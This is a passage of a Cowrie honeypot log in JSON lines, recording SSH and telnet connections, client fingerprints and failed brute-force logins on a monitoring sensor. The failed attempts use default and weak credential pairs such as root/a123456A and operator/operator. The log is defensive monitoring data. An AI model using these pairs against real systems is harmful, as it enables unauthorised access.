{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:32.674429Z","src_ip":"89.223.69.22","session":"c50931a6ab38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:33.394839Z","src_ip":"31.40.204.166","session":"003645701d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:34.589919Z","src_ip":"31.40.204.166","session":"003645701d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173759460449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:35.173396Z","src_ip":"152.42.224.71","session":"9749e156d564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.35708904266357,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:39.572673Z","src_ip":"152.42.224.71","session":"90be2e38ab21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42502,"dst_ip":"10.17.0.5","dst_port":23,"session":"283aca5ef09f","protocol":"telnet","message":"New connection: 152.42.224.71:42502 (10.17.0.5:23) [session: 283aca5ef09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:41.472411Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42512,"dst_ip":"10.17.0.5","dst_port":23,"session":"5197c0054615","protocol":"telnet","message":"New connection: 152.42.224.71:42512 (10.17.0.5:23) [session: 5197c0054615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:43.278125Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":32838,"dst_ip":"159.203.135.109","dst_port":22,"session":"b64806ac4852","protocol":"ssh","message":"New connection: 31.40.204.166:32838 (159.203.135.109:22) [session: b64806ac4852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:44.182324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:44.187514Z","src_ip":"31.40.204.166","session":"b64806ac4852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:44.318331Z","src_ip":"31.40.204.166","session":"b64806ac4852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:44.795489Z","src_ip":"31.40.204.166","session":"b64806ac4852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:46.014013Z","src_ip":"31.40.204.166","session":"b64806ac4852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00242924690247,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:47.526008Z","src_ip":"152.42.224.71","session":"fb0489488f92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.268669843673706,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:52.141779Z","src_ip":"183.152.53.175","session":"e01dfb6c8cb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00134754180908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:52.211550Z","src_ip":"152.42.224.71","session":"4d3bb355ca24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.11040139198303,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:53.800499Z","src_ip":"152.42.224.71","session":"1880f87542d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c34f31de2e3","protocol":"telnet","message":"New connection: 152.42.224.71:33152 (10.17.0.5:23) [session: 4c34f31de2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:54.792925Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37450,"dst_ip":"159.203.135.109","dst_port":22,"session":"6320a5423773","protocol":"ssh","message":"New connection: 31.40.204.166:37450 (159.203.135.109:22) [session: 6320a5423773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:55.781922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:55.802884Z","src_ip":"31.40.204.166","session":"6320a5423773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:55.915783Z","src_ip":"31.40.204.166","session":"6320a5423773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:56.517218Z","src_ip":"31.40.204.166","session":"6320a5423773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54706,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bd1fcb6048c","protocol":"telnet","message":"New connection: 152.42.224.71:54706 (10.17.0.5:23) [session: 3bd1fcb6048c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:56.917519Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:57.705351Z","src_ip":"31.40.204.166","session":"6320a5423773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.117863655090332,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:02.395864Z","src_ip":"152.42.224.71","session":"5197c0054615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49642,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c929a0edf6d","protocol":"ssh","message":"New connection: 31.40.204.166:49642 (159.203.135.109:22) [session: 8c929a0edf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:07.725795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:07.732447Z","src_ip":"31.40.204.166","session":"8c929a0edf6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:07.885118Z","src_ip":"31.40.204.166","session":"8c929a0edf6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:08.585688Z","src_ip":"31.40.204.166","session":"8c929a0edf6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:09.788085Z","src_ip":"31.40.204.166","session":"8c929a0edf6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50560,"dst_ip":"10.17.0.5","dst_port":23,"session":"feff0d07ffd6","protocol":"telnet","message":"New connection: 152.42.224.71:50560 (10.17.0.5:23) [session: feff0d07ffd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:11.883591Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49026,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c7f4fa39dac","protocol":"ssh","message":"New connection: 31.40.204.166:49026 (159.203.135.109:22) [session: 5c7f4fa39dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:19.780464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:19.786204Z","src_ip":"31.40.204.166","session":"5c7f4fa39dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:20.013525Z","src_ip":"31.40.204.166","session":"5c7f4fa39dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:21.012880Z","src_ip":"31.40.204.166","session":"5c7f4fa39dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:22.195488Z","src_ip":"31.40.204.166","session":"5c7f4fa39dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":45364,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3944804484","protocol":"ssh","message":"New connection: 109.172.54.111:45364 (10.17.0.5:22) [session: 7b3944804484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:25.277643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:25.283261Z","src_ip":"109.172.54.111","session":"7b3944804484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:25.383470Z","src_ip":"109.172.54.111","session":"7b3944804484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evgeniy","message":"login attempt [root/evgeniy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:25.675607Z","src_ip":"109.172.54.111","session":"7b3944804484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:26.782025Z","src_ip":"109.172.54.111","session":"7b3944804484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57710,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3923688e7a","protocol":"ssh","message":"New connection: 31.40.204.166:57710 (159.203.135.109:22) [session: df3923688e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:31.680069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:31.693127Z","src_ip":"31.40.204.166","session":"df3923688e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:31.812239Z","src_ip":"31.40.204.166","session":"df3923688e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00104331970215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:31.993606Z","src_ip":"152.42.224.71","session":"89cd48affba2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:32.608084Z","src_ip":"31.40.204.166","session":"df3923688e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:33.781619Z","src_ip":"31.40.204.166","session":"df3923688e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6be74b04b52","protocol":"telnet","message":"New connection: 152.42.224.71:57566 (10.17.0.5:23) [session: f6be74b04b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:38.346461Z"}
{"eventid":"cowrie.session.closed","duration":104.28153991699219,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:41.509286Z","src_ip":"152.42.224.71","session":"3f1b61920610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57570,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd113c877be9","protocol":"telnet","message":"New connection: 152.42.224.71:57570 (10.17.0.5:23) [session: cd113c877be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:42.453296Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45088,"dst_ip":"159.203.135.109","dst_port":22,"session":"fedd227b3fbb","protocol":"ssh","message":"New connection: 31.40.204.166:45088 (159.203.135.109:22) [session: fedd227b3fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:43.523274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:43.584735Z","src_ip":"31.40.204.166","session":"fedd227b3fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","c